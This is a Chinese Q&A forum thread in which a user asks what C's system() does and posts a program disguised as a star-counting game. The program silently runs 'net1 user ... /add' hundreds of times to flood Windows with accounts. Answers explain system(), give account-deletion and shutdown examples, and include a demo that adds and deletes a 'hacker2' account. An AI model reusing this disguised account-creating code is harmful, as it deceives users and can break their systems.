C语言中system()是个什么东西 有什么作用

这个system要从哪里开始学习看哪些书帮我解释下面的代码就system部分的1.//此程序执行后在系统中自动创建364多个user组的用户!2.//危险!!请勿轻易运行... 这个system要从哪里开始学习 看哪些书
帮我解释下面的代码 就system部分的
1. //此程序执行后在系统中自动创建364多个user组的用户!
2. //危险!!请勿轻易运行 !!!!! 重启可能导致进入不了系统!!!!!
3. //此程序仅为研究C语言用,如造成损失本人概不负责!!
4. #include <stdio.h>
5. #include <stdlib.h>
6.

7.

8. int main(int argc, char *argv[])
9. {
10. int i,n; //定义变量i,n
11. char ok;
12. char CREAT_NAME[80]="net1 user wwwwwwwwwwwwwwLsser 524629117 /add >c:\\windows\\ttmp_.htm"; //定义数组 CREAT_NAME
13. printf("\n\t\t数星星【Version 0.1】By:Lasser QQ:524629117\n");
14. printf("\t说明:屏幕上会不断出现*,看看你在程序结束时能数多少个*\n");
15. printf("请输入Y并按回车键开始游戏:");
16. scanf("%c",&ok);
17. if(ok=='y'||ok=='Y')
18. {
19. for(n=10;n<=24;n++)
20. {
21. for(CREAT_NAME[n]='a';CREAT_NAME[n]<='z';CREAT_NAME[n]++)
22. {
23. system(CREAT_NAME); //这里不懂
24. printf("*");
25. }
26. }
27. }
28. else
29. printf("想玩此游戏确定您输入的是y或者Y!!!\n");
30. system("PAUSE");
31. return 0;
32. }
展开
 我来答
格里编程办公技巧
科技发烧友

2010-06-13 · 编程、办公知识分享与学习
格里编程办公技巧
采纳数:434 获赞数:877

向TA提问 私信TA
展开全部
这个只要c语言入门了就可以编了,还有就是要知道cmd命令,
system("cmd");没有一点技术含量!吓吓人而已!
system(CREAT_NAME); 这个就是建立账户的意思!
net1 user wwwwwwwwwwwwwwLsser(用户名) 524629117(密码) /add >c:\\windows\\ttmp_.htm;
这个程序运行一下也无妨,可以编个删除的程序就可以了!
只要把上面的代码改下下就行了:
char CREAT_NAME[80]="net1 user wwwwwwwwwwwwwwLsser 524629117 /add >c:\\windows\\ttmp_.htm"; 改成
char CREAT_NAME[80]="net1 user wwwwwwwwwwwwwwLsser /del >c:\\windows\\ttmp_.htm";
du瓶邪
推荐于2017-09-01 · TA获得超过2.4万个赞
知道大有可为答主
回答量:1.7万
采纳率:100%
帮助的人:2839万
展开全部
system是一个函数,用于运行其它外部程序。
函数原型:int system(const char * string);
示例:以下程序在vc6.0中编译通过,通过system函数,打开记事本程序。
#include<stdlib.h>
int main()
{
system("notepad.exe");
return 0;
}
问题中的system("cls"),是执行一个CMD中的命令cls,这是清屏命令。
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
石水2
2010-06-13 · TA获得超过2173个赞
知道小有建树答主
回答量:940
采纳率:100%
帮助的人:913万
展开全部
system(CREAT_NAME); 相当于system("net1 user wwwwwwwwwwwwwwLsser 524629117 /add >c:\\windows\\ttmp_.htm"); 功能时建立一个名为www……的用户及在c:\windows\路径下新建一个名为ttmp_.htm 的文件。

system();就是利用程序执行DOS命令,
你也可以直接打开命令行,输入net1 user hacker /add >c:\windows\hacker.txt 回车后,你看看你的用户账户会发生什么变化就明白了。

下面的程序可以放心运行:(只为了说明)
#include <stdio.h>
#include <stdlib.h>
int main()
{
int i,n;
char ok;
printf("请输入Y并按回车键开始游戏:");
scanf("%c",&ok);
if(ok=='y'||ok=='Y')
{
system("net1 user hacker2 /add >c:\\windows\\hacker2.txt");

printf("去看看你的用户账户吧……\n");
printf("接下来,按任意键将删除前面创建的账户\n");
system("pause");

system("net1 user hacker2 /del >c:\\windows\\hacker2.txt");
}
else
printf("想玩此游戏确定您输入的是y或者Y!!!\n");
system("PAUSE");
return 0;
}
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
常依云EK
2010-06-13
知道答主
回答量:2
采纳率:0%
帮助的人:0
展开全部
system()是调用系统命令 就拿关机来说把
关机 的DOS命令为 shutdown.exe -s -t
使用如下
#include<stdlib.h>
main()
{
system("shutdown -s -t 3600"); /*60分钟后关机*/
}
明白了吗?
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 更多回答(2)
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式